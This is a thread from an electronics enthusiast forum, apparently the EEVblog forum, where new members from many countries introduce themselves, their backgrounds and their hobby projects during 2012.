Post by: graynomad on April 06, 2012, 07:27:34 pm
Where in NSW?

______
Rob
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Post by: Antronics93 on April 07, 2012, 01:05:42 am
Hello!

My name is Anton, and I live in Sweden (You know; IKEA, ABBA, etc.).

At 18 years you could easily say that I am one of the least experienced within electronics on this forum, at least so would I guess. But I find electronics really interesting, at least I find it interesting enough to choose it as orientation for 5 years in College/University, which I’ll commence this autumn after I’ve finished Sweden’s equivalence to High-School. (Or at least I’ve applied to a school, though my grades tell me I should get a place, the school I’m talking about is Chalmers, in Göteborg (Gothenborg), if there is any other Swedes here :D )

And to say that videos like Dave's hasn't been a part of my growing interest in electronics I think I would be lying...  ;)

So, even though my current experience is limited I am a fast learner and I find electronics interesting, so I think I’ll enjoy the EEV-Blog even more now that I’ve got access to the forum as well, in any case I’ll be able to help any of you with translation if you should end up with furniture from IKEA with an instruction in Swedish ;)
Title: Re: New Member, Please introduce yourself
Post by: BewilderedIdea on April 07, 2012, 11:08:51 am
G'day... hehehe :) am new to the blog...and to electronics in general... got interested via the **clears throat** arduino  muhahahah ...I am a disability pensioner with to much time on my hands so am attempting to fill ma heid with sommat useful hehe :D

Cannot say I have any great aptitude for EE but am definitely enthusiastic!
I very much enjoy Dave's blog ....and his rants  hehehe...sometimes life doesn't NEED to be candy coated :D hehehe...

I was watching the 3D printing of the space invaders a few days ago and a thought occurred to me...if one were to combine a 3D plastics extruder with a pickNplace setup....could one possibly build brick-like IC's by incorporating smd components  and connections into a 3D printed IC-brick?

Another thought was wh@ if one were to incorporate a method of cutting and placing current conducting  thread [like th@  availably from adafruit] into, perhaps, a 3D printed board, one might reliably produce small run pcb's with it? placement of smd components combined with current conducting thread might produce a reasonable end product...assuming the right plastic was used { IF there IS a good alternative available...I do not know if currently used plastics would be suitable for a 3Dprinted pcb  ::) } then a 3D structural printed circuit unit [sculpture?...appliance?...wh@ever?] might be entirely possible...hmmm
hehehe
As you may be able to tell, I am FULL of idea's...many of em...and many beyond my skills to realize :P ...so I share em :D hehehe
Anyway...th@'s my intro... hehehe
BwI
Title: Re: New Member, Please introduce yourself
Post by: MagFlux on April 07, 2012, 12:41:36 pm
Greetings from Canada,
My name is Jerry, I've had a life long passion for all things technical in the world around us.
There has always been a particular focus on electronics, as it is the world of the unseen.(Unlike mechanics, WYSIWYG) I've had a lot of experience in almost all the aspects of electronics, from bench work in a couple of engineering firms to management in fabrication shops.
The last ten years I dropped out to try other fields(HVAC, Machine shops, etc.) because I simply wanted electronics back as a hobby.
As life can seem to conspire against you at times, no free time was available for my hobby. Until now, just dug out my stored equipment and built a Lab grade PSU.
 What a Rush! Forgot how good it felt to be at the bench!
Only two regrets, not starting sooner, and not finding Dave's 12 Part Lab PSU blog until after I completed mine. Damn, his turned out better than mine. One thing I would do next time is use a 25VDC / 2A Wall Wart instead of building in the mains, xformer and bridge.
Title: Re: New Member, Please introduce yourself
Post by: Rerouter on April 07, 2012, 01:46:52 pm
Another thought was wh@ if one were to incorporate a method of cutting and placing current conducting  thread [like th@  availably from adafruit] into, perhaps, a 3D printed board, one might reliably produce small run pcb's with it? placement of smd components combined with current conducting thread might produce a reasonable end product...assuming the right plastic was used { IF there IS a good alternative available...I do not know if currently used plastics would be suitable for a 3Dprinted pcb  ::) } then a 3D structural printed circuit unit [sculpture?...appliance?...wh@ever?] might be entirely possible...hmmm

you may get a small laugh but that is touching on the older methods of using multilater boards with varying lengths and thicknesses of wire connecting them like a maze, it was generally abandoned because they where a right ol PITA to repair expecially on the inner layers, still as far as tamperproofing protection goes, would be novel not only encasing but also making the entire structure only self supporting by its medium, still absolutly impossible to repair.
Title: Re: New Member, Please introduce yourself
Post by: warner on April 08, 2012, 08:37:19 am
Hi im Jules from enlgand pleased to meet everyone , ive been interested in electronics for some time now although never had the money space or confidence to persue .....till now i have a number of project i want to make and a number of circuits and bits i would like to repair and woul dreally apprecaite  anyone who can give me some advise please for starters i need to know the absolute basic of what i need just to get started i have watched the youtube video but my funds dont stregth that far i have around £200-£300 at the very most. i already own a large assortment of screwdrivers cutters pliers etc as im an unqualified computer technician i do have more than 1 soldering irons but just the cheap plug in ones dont have variable temp on any of them and whats the best types and siizes to get etc
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Post by: poorchava on April 13, 2012, 01:48:50 am
Hi,

my name's Rafal, 25 years old, from Poland.

I've recently graduated MSc in electronic engineering and I'm currently working as electronic components engineer for a large automotive company. I've been doing various kinds of electronics-related stuff for about 10 years. My field of interest is mainly microcontrollers, mixed signal design and various measurement techniques. Currently I'm developing 3 projects: a miniature power-led driver (18mm in diameter, 7mm thick), a dsPIC-based 30 kW pizza owen controller and a cnc mill (both mechanical and electronic design).
Title: Re: New Member, Please introduce yourself
Post by: warner on April 13, 2012, 02:13:48 am
hi everyone well by the looks of it everyone here is either in college uni etc or working within the electronics electrical field  i did go to college bk in 2000 for electrical installation but moved before i could get the quals for it only did around a yr there so it looks like im the least qualified or experienced here although that doesnt really fuse my i used to work as a computer technician only for about 2 months as i was agency  although i still have a huge interest in how things work , but the main reason want to learn electronics is so i can do my own repairs and customise things for how i want them also i hae a few projects that i am working on things that havent been made yet or come out althought i cant talk about my projects much or say what they are due to its being wrapped up in legal stuff need to wait for my patents to come back and so fought but i have been watching alot of youtube vids reaqding up in forums google serchs etc etc plus going through my own things things see wht components i can use and what i can strip down for various other ues although im more than happy to listen to any advise people may have for me and more than happy to talk anything anythign electrical /electronics related
Title: Re: New Member, Please introduce yourself
Post by: boostedsupra on April 14, 2012, 09:23:44 am
Hello forum, i have been a custom yacht electrician for 5 years now, but due the economy i was layed off, now i am a full time student going for my bachleors degree in electrical engineering with the hopes of getting into the Aeronautics field doing Avionics and instrumentation. also i build wiring harness, instruments/gauges and full race car build. look foward to learning some new things off this forum.
Title: Re: New Member, Please introduce yourself
Post by: rig1974 on April 17, 2012, 04:10:55 pm
Hi to everyone!

I'm from Romania and i'm an electric engeneering student and a new member of this community. 

Otherway i hope to have some good time in this community. ;)
Title: Re: New Member, Please introduce yourself
Post by: kj6tk on April 18, 2012, 02:16:57 pm
Hi all

Once a electronic design engineer been working in management and computers for the last few years getting back to electronic tinkering for the fun of it, the theory stays the same but the components get smaller :)

John aka kj6tk
Title: Re: New Member, Please introduce yourself
Post by: NukerDoggie on April 19, 2012, 03:47:48 am
Hi all,

I'm a new member from USA. I'm a longtime C/C++ developer currently working for one of the Big Three telecoms as an enterprise system tester. In my spare time I'm developing a medical device aimed at helping persons with neurological disorders (like MS and PLS) recover some of their quality of life. That's been a 15-year project so far. I'm still in the clinical trials phase, but have accumulated significant evidence of effectiveness of the method and device.

I like to think outside the box, but never beyond the confines of true science, and never along lines that do not appeal to good logic and common sense. I've personally fought the FDA for 15 years to get them to open their minds to certain alternative medical technologies, and while my device is not yet approved, a growing number of others that employ similar technology (photo-biostimulation) are fully approved. This change in the mindset at the FDA has occurred only in the last 5 years or so. I'd like to think that my voice helped a little, but I have no proof of that.

My situation (getting FDA approval) is made much more difficult because my claims are much harder to prove than most of those made by the other photo-biostimulation device manufacturers. I'm claiming my device can resolve sclerosis (scarring) of the upper and lower motor neurons, in the regions in the cervical spine where the two interact. They are understandably very skeptical. But I'm just as determined to prove my claims.

I LOVE duking it out with the FDA!
Title: Re: New Member, Please introduce yourself
Post by: elliot42 on April 21, 2012, 11:40:20 am
Hi all!

I'm from Sydney, Australia. I'm a recent graduate from UTS (2010) with a degree in IT and I'm now working as a software engineer.
I've been interested in electronics, programming, making things and taking stuff apart and seeing how they work since I was little. I started with Dick Smith's Funway Into Electronics 1 with my dad when I was about 10 and from then I have been tinkering with simple circuits, computers, various kits and projects including amplifiers and DACs. I also have a weakness for shiny gadgets, made worse now that I have a full-time job and the income that comes with it :p

I've been lurking here, looking at oscilloscopes and watching Dave's videos. I might post now and then now too.

Owen.
Title: Re: New Member, Please introduce yourself
Post by: Mischa on April 21, 2012, 10:59:32 pm
Hi everyone, i'm from Slovenia, Ljubljana, i've been working as a sound technician/electrician for some time. At the moment i have another job (work at the office) because contracts in my country are often not payed. My hobby is diy pro audio electronics, mostly tube preamps, mics and similar. I would like to start working on it more serious and hope to sell some of my gear, beside working at the office. I came here to get advices about test instruments i need to expand my hobby, and talk about electronics. Dave's excellent youtube videos got me interested in this forum.
I'm looking forward to have a great time with you guys!

Cheers, Miha
Title: Re: New Member, Please introduce yourself
Post by: Galenbo on April 22, 2012, 02:54:04 am
Hi all, I live in Belgium.

Master degree Electromechanics, bachelor Electronics.

I mainly work on industrial machines,
thanks to this blog I took up my old hobby, electronics.

Already costed me a lot of money, new scope, functgen, ... :-)
Title: Re: New Member, Please introduce yourself
Post by: jucole on April 24, 2012, 08:46:11 am
Hi, I'm Jules from UK, i'm an artist and programmer by trade but I've always had a soft spot for electronics but never took it up, then recently I bought a pottery kiln from Ebay and decided to make my own digital controller for it, how hard can it be? some 2 years later and a spare room full of 2nd hand test gear crap, my little widget is almost ready to release to the world!! 

I really enjoy watching the EEVBlogs and especially like the whiteboard pen tapping parts. beaut !!! ;-)
Title: Re: New Member, Please introduce yourself
Post by: tim510 on April 26, 2012, 11:33:39 am
Hi my name is Tim,

Transfer student at UCI studying EE. I'm a jr. looking to get hands on experience with electronics because I find it interesting and I feel inadequate in my knowledge. Until college I had never experimented with circuits. Prior to transferring I was interested in utility power but there isn't much of that offered at my school under the EE program. Now I'm finding myself really interested in analog circuits and power electronics.
Title: Re: New Member, Please introduce yourself
Post by: brian on April 27, 2012, 12:37:37 am
Hello everyone,

I’m from Omaha, Nebraska (USA).  I work as a Software Engineer, writing commercial software for Windows based PC’s in C++ and Java.  I’m also a Graduate student at Regis University, in Denver CO.

I got interested in electronics repair in High School and have enjoying it as a hobby ever since then. 

Brian
Title: Re: New Member, Please introduce yourself
Post by: PerPC on April 28, 2012, 11:45:47 am
Well everyone calls me mike. Here with the intent on gaining some useful knowledge and who knows, maybe cutting a profit in the process ;) ;). Oh yeah, and warner (guy who posted like 4 or 5 post before me) 300 pounds should do u good. i pretty much have the basics of what i need (200 dollas) and a 100 dollars to spare (still needs materials and a few tools): add that up and thats a total of 300 american dollars. heck and last time i checked the british pound out did the dollar ;) :) GL

P.S: im missing the big items like the scope and glue gun and second soldering iron and well the big stuff but a multimeter should do me good for the time being im guessing.
Title: Re: New Member, Please introduce yourself
Post by: sysmatt on April 29, 2012, 11:39:43 pm
Hi All!   Matt from New Jersey USA here.    I have been an electronics hobbist for ever.  My dad put a soldering iron in my hand as soon as i was able to hold the right end.  I attended a technical high school and had four years of electronics.  During that time, by passion forked into computers/microprocessors and electronics.   By year two in HS i was working with MOT 6800 and Z80/8080 CPU projects.   Fast forward 10 years, my passion for computers led me to Open Source, Linux, Unix, yadda yadda..  and a career in IT.   My day to day career is Unix sysadmin/vSphere/Datacenter management/networking/etc.  Its worked out pretty well.   My firm foundation of electronics has served me very well. 

I skipped college BTW, which is rather interesting considering where i work.   

... When i am not working, I am hacking.   Electronics usually.  I really like AVR MCUs, but not as a religion.   My preference is mainly based on the ease of use with the open source AVR-GCC tool chain.    To me, VIM, Gcc, Makefiles etc is much preferred compared to a GUI IDE... That said, I so occasionally use the Arduino stack, some of the libraries are just so easy to use.   But for that ease, you pay with frustration/insanity.      What i do LOVE about arduino is how it has revived a lot of interest in electronics/hacking.  It gets a lot of students interested in electronics and/or programming.   But i digress.

Ive written a number of articles on IT related subjects in Linux Journal, ;login, and SysAdmin (gone!)... But nothing recently.  No time!

Well that is probably a good intro. 

A quick Thank You to Dave. The EEVblog is a gem.  Seriously, every one is packed full of interesting info and always entertaining. 

Its an amazing time we live in.  I remember when i was in high school...  The library of data books.   Trying to FIND something!... The photo copier was your friend.   Now, google.   bang, anything you want.   Building MCU projects... all those 8 and 16 bit buses!   wire wrap nightmare!

Anyway, i can ramble on forever.   

Thanks
-Matt
Title: Re: New Member, Please introduce yourself
Post by: Teneyes on April 30, 2012, 05:14:25 pm
Hi Folks
      I'm  Len aka  iiiiiiiiii,  four eyes wasn't enough!. Canadian, in BC.       Started early,putting things in  wall sockets at 3,  Mom said.  Built my VOM-meter at 12.  TV tube Jockey after school. Then on to college , and Tech School.
Summer jobs:  Video production;   Defence research grant;   Marine communications.
Wandered through careers in:  Satellite earth stations, Police info systems, Industrial Communications, more University, Banking machines, E Engineering, and Process Control Systems. 
Some cute Events:
             Set 100volt charge on the capacitors in the highschool Physic Lab, for the Teacher to pick up
             Put white tape on my New black glasses so no one would notice I got new glasses
             Packed 100lbs of test equipment across frozen Arctic sea to tuneup satellite earth station
             Turned on the 1st TV transmitter in an Arctic town of 500 where 60%  had never seen a TV
             Fixed a bug that gave free money from credit union bank machines (fix for all but one card :) )
             Programmed system to process and sort BHP diamonds from the Canadian Arctic.
Favourite Technology... Hyperlinks
 
Now just do part-time projects and play.
     
Nice to be here and love the Vblogs, I learn so much,   good  fun ,, Thanks
Title: Re: New Member, Please introduce yourself
Post by: obiwanjacobi on May 03, 2012, 12:32:12 am
Hi,

I recently discovered the EEVBlog (through YouTube) while searching for some electronics content on the net. I studied electronics but after 3 years working at a small company I switched to software (easier to get results I guess  :P ). I am working these days as a (software) Solutions Architect / Lead Developer using Microsoft technology (.NET/C#). I am also playing guitar and fiddling around with the equipment of my home studio.

Recently I bought an Arduino and that has got things rolling again. I am currently working on a Midi mapper/processor and have some other projects in my head/on paper.

Title: Re: New Member, Please introduce yourself
Post by: pcbprototype on May 04, 2012, 08:24:01 am
I am working for http://www.sinomicro.co.uk (http://www.sinomicro.co.uk), which is a quick turn printed circuit board (PCB) manufacturer in UK.
Title: Re: New Member, Please introduce yourself
Post by: si2030 on May 04, 2012, 02:48:37 pm
Hi there,

My name's Simon and I hail from Victoria Australia.  I am you typical home hobbyist and found this site purely by chance when I was searching for a way to implement constant current limiting. My gosh the series on the power supply was excellent. :)  I am now roaming through the other episodes so thanks Dave for taking the time to put these together.

Cheers

Simon
Title: Re: New Member, Please introduce yourself
Post by: AtomicDog on May 12, 2012, 09:59:12 pm
Hello. First l'll explain my username. I'm an instrument technician for Oak Ridge National Labs working in Particle Physics and Materials Sciences. That's the Atomic part. I'm an amatuer radio operator with the call sign KI4DOG. Yep, Dog. My work involves a lot of older elecronics (which I love),data acquisition and instrument calibration. I'm particularly fond of power supply and rf work. The older the better. Compared to most people here I'm an electronics idiot, so please have patience. I'm also a photographer if you like that sort of thing.
Title: Re: New Member, Please introduce yourself
Post by: tom_m on May 13, 2012, 04:58:54 am
Tom here, from the UK. I'm 63, so I've seen a lot of advances in electronics since I got into it, about 50 years a ago. I started off with a box under the bed with all my components in - mainly valves (tubes) and passive components. Thee days I'm into pic's and other microcontrollers, which form the heart of my projects.
Title: Re: New Member, Please introduce yourself
Post by: Fishplate42 on May 17, 2012, 08:51:18 am
Hello!

Wow! This place is just what I have been looking for.  A realistic electronics forum with a straight up and down bloke running it - Brilliant!

My real name is Ralph and I live in London, England with my wife Sue. I have been interested in electronics since I was a teenager (now 56). I usually try to build stuff that is used in my other interests. Over the years this has included automotive electrics, audio and various model-making projects. Currently I am experimenting with microprocessors to control low voltage lighting and motors for use in model railways and Meccano (Erector) models. you can see my workshop and catch up with what I have been up to lately HERE (http://www.my-meccano.co.uk)

Although I have been dabbling for years, my technical knowledge is fairly small. I am hoping that I can learn a lot from reading this forum and joining in where I can. I have just bought an Arduino Uno and managed to get it to flash a LED. Now, this may not be an earth-shattering achievement but I did manage to write my own little programme and for me it is the first step on the ladder.

After years of just building little projects I am now studding the basics and intend to master designing and building my own projects. I have recently started a blog about what goes on in our workshop. Although this covers all sorts of things there is a bit of electronics mentioned here and there and no doubt there will be a lot more. If you want to see what is going on go to  Ralph's Workshop (http://ralphsworkshop.blogspot.co.uk/)

Ralph ;)

Title: Re: New Member, Please introduce yourself
Post by: Ishmael on May 17, 2012, 02:34:54 pm
Call me Ishmael.

I just graduated from high school. On August I'm starting my first year of undergraduate studies in electrical engineering at the local university.

I found EEVblog while searching Youtube for electronics videos. EEVBLOG is the best!
Title: Re: New Member, Please introduce yourself
Post by: cabraham on May 18, 2012, 05:10:00 am
Greetings friends.  My name is Claude.  I am a pro EE, generalist, for 34 years now.  In 2007 I returned to school for the Ph.D. after a 27 year break since the MSEE.  I still have to complete my dissertation.  My course work & qualifier are completed.

My hobbies are drumming (44 years), singing (3 yrs), & guitar (2 years).  Videos of my drumming & singing can be seen on y*****e.  My name there is "claude544".  I look forward to some exciting & enlightening discussions.  Best regards.

Claude
Title: Re: New Member, Please introduce yourself
Post by: dumle29 on May 19, 2012, 01:49:32 am
Hi, my name is Mikkel, and im 17 years old from Denmark, and do electronics for a hobby. I love electronics, and im counting on studing embedded systems. I found the EEV blog, and this forum, and its just fantastic. The members are passionate and eager to help.
As if that wasn't enough, Dave is also active in the forums.

Thanks for being awesome! :D
Title: Re: New Member, Please introduce yourself
Post by: Jason Long on May 20, 2012, 02:19:54 pm
Hi my name is Jason and I'm a total noob when it comes to electronics. A few months back I decided that I needed a hobby so I picked up a copy of Make: Electronics. I ran across the EEVBLOG on YouTube while I was looking for soldering tutorials. By the time I had made it through all 3 of Dave's soldering tutorials I was hooked.

To be honest, most of this is still over my head but the more I read and watch the more it's sinking in.
Title: Re: New Member, Please introduce yourself
Post by: StubbornGreek on May 24, 2012, 07:03:25 am
I missed this thread initially. I'm from the east coast of the US and own/operate a small pc business. I'm in the midst of transitioning the company (name change, website, etc) but I'll update when its all set.

As far as electronics go, when I was ten, I completely took apart my timex sinclair computer (not much by today's standards, lol) and managed to reassemble it myself - its been an obsession with pc's and electronics since. Ha, remembering back, nothing was safe from my philips head screwdriver, not the telelphone, not the tv (first time I ever got shocked - lucky...).
Title: Re: New Member, Please introduce yourself
Post by: Parsley on May 24, 2012, 06:51:26 pm
Hi, I am from Germany, have studied electronics, like Geocaching since 2005 and have a Ham Radio license.

@EEVblog Dave: Awesome! Thanks for everything!
Title: Re: New Member, Please introduce yourself
Post by: chavotronic on May 24, 2012, 08:43:57 pm
Hi,

I am David from Belgium, almost finishing my electrical engineering studies.
I am interested in quadrocopter flying and building.

Best,

David
Title: Re: New Member, Please introduce yourself
Post by: Haap on May 24, 2012, 09:22:46 pm
Hi I'm Chris

I'm a few months away from completing my PhD in Engineering Physics. My background is in molecular beam epitaxy, electron microscopy, and optical spectroscopy.

As a hobby, I have begun building vacuum tube guitar amplifiers, and guitar effects pedals (and even guitars). I've also begun to toy around with electronics. As a first step towards building a home lab, I'm hoping to build Rev B of Dave's PSU, i.e. the one without the battery ;) 
Title: Re: New Member, Please introduce yourself
Post by: Pack34 on May 25, 2012, 12:38:10 am
Hi,

My name is Jason. I'm a graduate student in EE with a focus on digital circuits. I found the site when doing some research into setting up a lab at home.  I'm loving the information.

Once the rest of my parts get in I'll be building a small series of LED projects to give myself a refresh on soldering, test equipment, programming (Arduino) and to introduce myself so some PCB work with Eagle. Then move onto some robotics work (pico-copter, aeroquad, Arduino powered Roomba?). I'm also planning on following a suggestion Dave made during his Amp Hour podcast, to really catalog everything I do and display it on a blog. I'm also planning on going through a lot of my old notes and do short write-ups on concepts from the various classes I've taken.

If all goes well, maybe I might be able to find a job within the next 12 months  :P
Title: Re: New Member, Please introduce yourself
Post by: Architect_1077 on May 25, 2012, 04:55:27 am
Never got to introduce myself, so here goes:

I'm Rick from Portugal. I've always had an interest in Electronics since an early age but only over the last few months did I start to take it up more seriously as a hobby. Since money comes at a premium it's going to take awhile to accumulate some decent gear, but I'm a determined fellow. I don't have any formal education in the field, but that won't stop me  8)
Title: Re: New Member, Please introduce yourself
Post by: JoannaK on May 26, 2012, 09:02:32 am
Hello

I'm Joanna and living in more or less middle of Finland. I'm more old school electronics designer and hobbyist. It started qute innocently as a hobby but somehow it turned to full time job. My university grade is Masters degree on Computer Systems (embedded SW/HW) but quite frankly I learned most of the things by reading, thinking and doing.

I like hacking, reverse enginering and other neat stuff, also so sme photography and computer tinkering. Started computers with AppleII and C64, made some programs to those, at Amiga -era we did bring up our own company.

Lately I have stated to tinker again with 8-bit pics (used 16C84 years ago), other experience of µcontrollers include 6502, HC11, 68k, PPC, ARm, Propeller and some DSP's.. Like rather code at assembler and to understand how to make tight code.
Title: Re: New Member, Please introduce yourself
Post by: kdewitt on May 27, 2012, 12:30:53 am
Hello all, My name is Kurt DeWitt.  I'm an Electrical Engineer in the U.S.  Although I started out life as a circuit designer, I have ended up moving up the "stack" from computer board designer to systems engineer to now Cloud Architect at EMC.  So, basically, I guess I'm a generalist from bottom to top.  I still like to tinker in my lab at times with building things though.  Lately, my tinkering has been more on the software side of things though.

BTW - what's with the meaning of life math challenge for all the posts?
Title: Re: New Member, Please introduce yourself
Post by: JoeAtl30319 on May 27, 2012, 05:01:51 am
Hey! I'm Joe. I am a Financial Analyst / Accountant with an interest in electronics. I like constructing my own equipment and currently reside in Atlanta, Ga (U.S.A.).
Title: Re: New Member, Please introduce yourself
Post by: BrettP on May 27, 2012, 01:39:08 pm
Hello,

My name is Brett and I'm a Network Administrator for a small company.  I recently took up electronics as a hobby (after being curious but noncommittal) and have mostly played with kits, but have ambitions to learn more theory and get more practical experience.
Title: Re: New Member, Please introduce yourself
Post by: BlackHawk2399 on May 29, 2012, 12:08:54 am
Hi, I am Owais(BlackHawk2399) from Pakistan. I am 13 years old. I am still an 8 grader but love the videos and love electronics!
Title: Re: New Member, Please introduce yourself
Post by: jlutes on May 29, 2012, 12:38:31 pm
Jeff from Kansas.  I went to school for electronics a number of years ago but have been in the I.T. industry for quite some time.
Title: Re: New Member, Please introduce yourself
Post by: WVCapsfan on May 29, 2012, 01:37:13 pm
This is Jeff from West Virginia. I started out in electrical engineering many years ago but got disillusioned by all the theory and math. I switched majors and ended up in manufacturing engineering with a Masters and got into quality control and process improvement stuff. Worked in the automotive industry in and around Detroit for fifteen years and then got burned out and switched careers. Also have thirteen years in the Air National Guard as an aircraft electrician (A7, F4, C-130, C5 aircraft). 

Anyway, I was at an auction several months ago and came across about fifteen bins of various parts, including lots of IC chips and some specialized tools. I made notes to look them up for bid reference to hopefully resell for profit on eBay (the bidding got out of control, so I didn't get them), but anyway, from internet searches through the Talking Electronics site, I found Dave and the EEV videos. Been watching them which have greatly rekindled my interest in the field and am now working on the MIT open courseware classes; Yes, I am starting all over with complete math review. THANKS DAVE!! 

PS: I did get an auction deal on a 1962 vintage Tektronix 561A scope with 3A1 dual trace and 3B4 time base - of which I then proceeded to spend four times what I paid for the dang thing for new probes and the manuals. At least it does all work. Well, I've got my first piece of equipment.

Also, I Have also disassembled (recycled) a junk MITA copy machine, collator, and a bunch of other electronics "waste" to seed my project parts supply.  I download the Amp Hour shows as mp3 files to listen in the car. Lots to learn.  Thanks in advance for putting up with me (don't say I didn't warn you.
Title: Re: New Member, Please introduce yourself
Post by: budmanjr123 on May 29, 2012, 01:57:19 pm
Hi! I'm Mike and I am from Minnesota, USA. I am just about 16 years old and I recently got extremely interested in electronic engineering about 3 months ago. I learned how interested I am when we worked with simple bread boarding in my principles of engineering class. What we did just involved resistors, lights, and jumper wires, and even that got me hooked. I first ordered a book teaching about some basic electronic circuit parts from hobby engineering, then bought some more components, and some more, and some more with money I had saved from babysitting and working at McDonalds for 4 months ( I do not recommend working there) and now I have different types of IC's and components and I have made many fun circuits (complex to a newbie like me, but very simple to the rest of the electronic world) Like police lights, simon game with an arduino duemilanove, and some fun logic gate button clicking circuits! Currently I am trying to learn about Op-Amps, Comparators, and other linear IC's.  I hope to go to college for electronic engineering and learn more about the wonderful world of electronics, and all of its possibilities. Then live my life with a career that I love!
Title: Re: New Member, Please introduce yourself
Post by: gerrysweeney on May 29, 2012, 06:37:05 pm
Hello,

My name is Gerry. I have been playing with electronics on and off for many years, the first thing I ever made work by myself was when I connected a turntable found in a skip to a reel to reel tape machine donated to me by my next door neigbour (showing my age now) - I was eight years old.  By the time I learned to make stuff with digital electronics (discrete TTL/CMOS) when I was 14 and I was hooked.  In the early 80's I started plating with computers starting with a ZX80, 81 and Spectrum, C64 and IBM PC, all hacked of course as I felt compelled to connect my own digital circuitry to them :)

I have always had tools and test gear of some sort at home but despite having a few jobs where electronics was part of the job, as it turned out I was much better at writing software and not too bad at running a business so thats ultimatly where my career took me.  For work I am involved with enterprise business applications and cloud based services, but I have always kept myself tinkering with embedded software and hardware at home - PIC's mainly.

My blog (which is a recent effort) is here http://gerrysweeney.com/ (http://gerrysweeney.com/)

There you go, my life story, you can all wake up now  8)

I love the EEVBLOG....thanks Dave

Gerry
Title: Re: New Member, Please introduce yourself
Post by: bdivi on May 29, 2012, 11:02:51 pm
Hi, I am Borislav from Bulgaria.

I am an IT architect but I still keep my electronics interests from my primary school. I have a small collection of vintage test gear - mainly from HP/Agilent, Tektronix and Fluke that still amazes me with regard to engineering and production quality.

I also spend some time on making audio gear - amplifiers and speakers.

Kudos to Dave for the video blog and the forum. I have had so much fun watching the episodes and I am always thrilled to see every new one.

Cheers to everyone
bdivi
Title: Re: New Member, Please introduce yourself
Post by: TbayBoy on May 30, 2012, 01:06:26 am
Hello :)

I'm an EE student from Canada just popping in to learn
Title: Re: New Member, Please introduce yourself
Post by: kfitch42 on May 30, 2012, 12:42:39 pm
My name is Kevin Fitch. I am a software engineer by training and trade. But, I have recently been bitten by the electronics bug. I haven't done much more than blink an LED with a 555. But I have much bigger plans ... Just need a few more toys (O-scope, LA, ...) before I conquer the world :)
Title: Re: New Member, Please introduce yourself
Post by: R-M-I on May 30, 2012, 08:04:47 pm
I'm Remi..
29 years old, from Norway. I'm a System Administrator\Network Engineer\technician by training and trade.

I've always been facinated by electronics and always want to know "how it works".
So... I'm basically the kind of guy that "fixes" things that aren't broken (yet), [That's when you start reading the manual right?].

I currently own a Ardunio UNO R3 that I've been using for different projects.
One of them are here -> http://youtu.be/dnCiJrnM_fg?hd=1 (http://youtu.be/dnCiJrnM_fg?hd=1)

I recently also bought a PICKit3 that I will be experimenting with.

Will hopefully be posting some of my modest projects at a later point when I get around to uploading all the pictures and all..

I'm in no way an expert\experienced electronics-guy, but I want to learn and that's basically why I'm here.

-Remi
Title: Re: New Member, Please introduce yourself
Post by: valdas on May 31, 2012, 03:51:46 am
Hello, my name is Valdas. I am from Lithuania, often you can find me in UK :)

I work 1/2 of a day as web based program developer for one engineering company (repairing, building, modernizing industrial objects). And 1/2 of a day i work as visual design freelancer.

My first introduction to electronics was ZX Spectrum tare down, actually i was trying to fix it. At a time i was 10,  I think. It was not the best experience for ZX :D By my 16 i knew what is capacitor, resistor, transistor and diode :) Few years ago i bought 1 atmega 8 for one project. Finished it and it worked nicely :) it was code generator. Next i made my own development board with atmega and enc28j60, and it started :D

Project that i recently made

3 axis CNC 65 cm X 45 cm x 12 cm all made of laser cut steel 10 mm :)
Underwater lighting projector with with W+RGB leds for adjusting light temperature. All casing is water tight switches made with REED.
Wooden laptop (actually fiberglass laminated with wood)
UV box with timer

now i am working on tiny quad copter (4.5 cm), i just finished designing pcb (2 side, very compact layout). I has 3 axis accelerometer, 3axis gyro, 3axis magnetometer, rf chip and you guest it Atmega for its brains :D tint 6mm coreless  motors, 300 ma lipo battery, step up dc chip, and some passive components. All component weight 18g. I made a test it can lift from 35g to 45g when motors maxed out, but they get quite hot, and battery drains super quickly :)

 
 So thats all folks for now :)

And Dave thumbs up for eevblog :)
Title: Re: New Member, Please introduce yourself
Post by: Zopsi on May 31, 2012, 04:00:28 am
Hey guys,

I forgot to formally introduce myself. I'm Bob from California and I'm an Electrical and Computer Engineer. Pretty much all there is to it.

Title: Re: New Member, Please introduce yourself
Post by: spyderjacks on May 31, 2012, 08:06:42 am
Hello:

This Mike from NJ, software engineer and lifelong fabricator, including electronics.  I was born to "take it apart"... and it's taken a lot of years to be reasonably successful at putting them back together.  Tear-down Tuesdays are in my calendar now!  Thanks Dave for a great vblog and forum.  I've looked at maybe 50% of the vids - this is where I need to hang out!

Cheers.
Title: Re: New Member, Please introduce yourself
Post by: SoundBound on May 31, 2012, 11:54:00 am
Hello everyone!

My name is SoundBound, aka Rick.  I am a computer electronics technologist out of Canada.  Should have realized I was a techie when I was a kid on the beach and everyone was making sand castles, I was making sand refineries (using various plastic cups and glasses to make storage tanks with sand and using straws etc. to make the pipes that linked them - loved those bendy straws!).  My main hobby is audio equipment, but enjoy computer stuff too.  Mostly analog, turntables, tube amps and preamps etc.  I enjoy modifying audio gear as well as restoring and making my own gear.  Currently several projects on the go.  Right now it's a TT motor speed controller, then I have a tube preamp to build.

Really enjoy the site for new info and methodology.  Thanks !!
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Post by: Clifton Harp on May 31, 2012, 12:02:58 pm
Hello everyone. My name is Clifton Harp. I am 34 yrs old and live in Ohio, United States. I like a good movie, long walks on the beach, and poking dead things with a stick. Haha...but seriously...dead things ...sticks...lol  January 2nd of this year I started attending Devry University's online program for EET. Now, I have always been a hands-on kind of guy. I started working on cars when I was 9 and started making money working on cars just a year later. I never had any decent toys because I tore them all apart to see how they worked. Anyway, back to the subject. I am just getting into the world of electronics and I am having a BLAST! I already have some ideas that i will be trying to work out as I progress through this degree. The great thing is...they provide some decent equipment to start with. If I think about it I will have to post some pics of the trainer pad they supply me with, along with the Textronix TDS 1002B scope and the Fluke 77-4 (yeah I know...not the best, but it's still a decent meter) Not only that but they give me all sorts of components to play around with. mainly passive components but I do have a few logic gates, switches, LED's, and a 7 segment display (single digit only though) :( Anyway, if you have ay questions for me just shoot me a line and I'll try to get back with them as soon as I can. BTW I might be polling you guys (and girls) for some info and general knowledge stuff so if I ask something that seems a bit amateur-ish remember I am only getting started so be gentle (It's my first time LOL) Nice to meet you all :)
Title: Re: New Member, Please introduce yourself
Post by: cobblers on June 02, 2012, 01:52:58 am
Afternoon chaps!

